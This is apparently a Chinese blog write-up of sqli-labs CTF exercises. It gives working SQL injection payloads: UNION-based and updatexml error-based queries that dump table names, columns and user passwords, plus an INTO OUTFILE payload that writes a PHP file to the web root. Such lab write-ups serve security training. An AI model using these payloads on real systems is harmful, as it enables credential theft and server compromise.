ctf比赛解体复现

第一题:

根据提示可以发现是get传参,在url一栏输入参数id也就是/?id=xxx

尝试注入:

?id=1'order by 1--+

最终发现是3列,继续用union尝试

?id=1'union select 1,2,database()--+

发现页面没有显示数据库的库名,但是也没有报错,所以应该是被限制输出一行了。于是随便搞一个id值

我这里就让id为负一试试,发现了数据库名字是   security,并且也找到注入点了,于是乎直接破题!

?id=-1'union select 1,2,database()--+

?id=qffd'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

ok现在有表名了,注意哈这里得用group_concat()函数把tablename抱起来,不然会报错受那个limit的影响,接下来继续找列名,发现有3个名字

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

接下来直接拿密码

?id=-1'union select 1,group_concat(username),group_concat(password) from users--+

第五题

发现正确输入的话,是正常页面没有什么信息,但是错误的话会有报错信息,于是考虑报错注入

?id=1'union select updatexml(1,concat(database()),1)--+

发现列明报错了,就是列的数量于是用order by继续尝试

?id=1'order by 3--+

?id=1'order by 4--+

发现是3列,就是3个字段于是乎继续尝试!

?id=1'union select 1,2,updatexml(1,concat(0x7e,database(),0x7e),1)--+

发现了库名继续找表名,这里代替database()的部分要加上括号

?id=1'union select 1,2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

现在继续找列名

?id=1'union select 1,2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+

列明有了现在可以直接查了!

?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+

第7题

上传一个文件

?id=1')) union select 1,2,"<?php phpinfo();" into outfile "E:/phpstudy/phpstudy_pro/WWW/sqli-labs-php7-master/w.php";--+

这里显示要改那个参数我就不改了应该命令是没问题的

11题

题目做多了直接报答案

asdfaf' union select group_concat(username), group_concat(password) from users --  

15题

通过2分布尔盲注已经出了

不多浪费时间直接上结果

  • 21
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值